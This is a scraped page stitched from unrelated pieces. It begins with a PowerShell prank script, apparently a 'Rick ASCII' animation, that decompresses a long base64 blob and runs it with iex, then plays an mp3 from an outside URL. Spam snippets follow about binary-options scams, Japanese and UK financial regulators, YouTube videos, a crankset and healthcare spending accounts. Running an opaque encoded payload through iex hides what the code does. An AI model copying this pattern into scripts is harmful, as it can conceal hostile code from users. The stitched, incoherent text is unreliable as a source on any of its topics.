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' ## Decompress the frames, which declare an array of strings $binaryData = [System.Convert]::FromBase64String($data) $ms = New-Object System.IO.MemoryStream $ms.Write($binaryData, 0, $binaryData.Length) $ms.Seek(0,0) | Out-Null $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]"Decompress") $sr = New-Object System.IO.StreamReader($cs) $structure = $sr.ReadToEnd() iex $structure ## Go through the frames, and re-scale them so that they have the ## proper aspect ratio in the console for($counter = 0; $counter -lt $frames.Count; $counter++) { $frame = $frames[$counter] $expansion = (@('$1') + (('$2','$3','$2','$3') | Get-Random -Count 4 | Sort)) -join '' $frame = (($frame -split "`t") -replace '(.)(.)(.)',$expansion) -join "`t" $frames[$counter] = $frame } ## Prepare the screen $counter = 0 $maxCounter = $frames.Count - 1 $host.UI.RawUI.BackgroundColor = "White" $host.UI.RawUI.ForegroundColor = "Black" try { $host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} try { $host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} try { $host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} try { $host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} ## Open the background song $script = @' $player = New-Object -ComObject 'MediaPlayer.MediaPlayer' $player.Open("http://www.leeholmes.com/projects/ps_html5/background.mp3") $player '@ ## ... in a background MTA-threaded PowerShell because ## the MediaPlayer COM object doesn't like STA $runspace = [RunspaceFactory]::CreateRunspace() $runspace.ApartmentState = "MTA" $bgPowerShell = [PowerShell]::Create() $bgPowerShell.Runspace = $runspace $runspace.Open() $player = @($bgPowerShell.AddScript($script).Invoke())[0] try { ## Wait for it to buffer (or error out) while($true) { Start-Sleep -m 500 if($player.HasError -or ($player.ReadyState -eq 4)) { break } } Start-Sleep -m 1600 Clear-Host $host.UI.RawUI.CursorPosition = New-Object System.Management.Automation.Host.Coordinates ` 0,([Console]::WindowHeight - 1) Write-Host -NoNewLine 'Q or ESC to Quit' ## Loop through the frames and display them [Console]::TreatControlCAsInput = $true while($true) { if([Console]::KeyAvailable) { $key = [Console]::ReadKey() if(($key.Key -eq 'Escape') -or ($key.Key -eq 'Q') -or ($key.Key -eq 'C')) { break } } if((-not $player.HasError) -and ($player.PlayState -eq 0)) { break } $host.UI.RawUI.CursorPosition = New-Object System.Management.Automation.Host.Coordinates 0,0 Write-Host (($frames[$counter] -split "`t") -join "`r`n") Start-Sleep -m 100 $counter = ($counter + 1) % $maxCounter } } finally { ## Clean up, display exit screen Clear-Host $frames[-1] -split "`t" "`n" " Happy Scripting from PowerShell..." " and Rick ASCII!" "`n`n`n" $player.Stop() $bgPowerShell.Dispose() }*
The Financial Services Agency (FSA), Japan’s financial regulator, published a warning against Cheshire Capital Ltd. operating the website TR Binary Options. According to the watchdog, the company, which ... Binary options scams are in essence one of the reasons Fair Binary Options came to existence.We saw a niche that has potential but is full with fraud and unethical activities. As the binary options phenomenon has grown, so have various ways fraudulent binary options brokers found to trick their customers. Update: The sale of all binary options to retail consumers is now banned. If you are offered binary options, it is probably a scam. Binary options are a form of fixed-odds betting. Typically, a trade involves whether an event will happen or not (for example, will the price of a particular share or asset go up) and the outcome is either yes or no. The FSA and the FCA compared First of all, the Financial Conduct Authority is more customer-focused than the FSA was, which is even obvious from its name. The FCA is intended to be a sort of an advocate for the consumer, and as we already mentioned, the regulation of larger financial firms such as banks was outsourced to the PRA. Jul 29, 2020 · Copiar transsaciones de opciones binarias gratis El trading que es la fsa opciones binarias de opciones binarias (Binary options en inglés) está pensado para que a simple vista pueda parecer muy sencillo de entender y de operar, pero a la hora de la verdad, es más parecido a estar jugando en un casino que a operar realmente ...
[index] [250] [191] [465] [51] [490] [620] [266] [367] [532] [526]
Update May 7, 2019: We are currently making improvements to the FSA ID account creation process based on feedback from you. The actual steps may vary slightl... This video is unavailable. Watch Queue Queue. Watch Queue Queue See complete series on mathematics problems here: http://www.youtube.com/playlist?list=PL2_aWCzGMAwLL-mEB4ef20f3iqWMGWa25 What is binary number system and wh... The Gossamer Pro ABS Crankset is the pinnacle of alloy crank technology and uses technology learnings from our K Force Light and SLK ABS cranksets. Using les... Flexible spending accounts (FSAs) are a simple way to save in today’s complex healthcare system. Take advantage of tax savings by contributing funds, which c...